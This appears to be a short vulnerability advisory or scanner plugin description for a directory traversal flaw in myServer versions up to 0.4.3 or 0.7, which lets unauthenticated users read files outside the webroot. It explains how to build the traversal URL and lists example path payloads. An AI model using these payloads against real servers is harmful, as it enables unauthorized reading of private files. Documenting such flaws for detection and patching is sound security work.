Description

This web server is running myServer <= 0.4.3 or 0.7. This version contains a directory traversal vulnerability, that allows remote users with no authentication to read files outside the webroot.

You have to create a dot-dot URL with the same number of '/./' and '/../' + 1. For example, you can use : /././.. /./././../.. /././././../../.. /./././././../../../.. etc... or a long URL starting with ./././. etc.
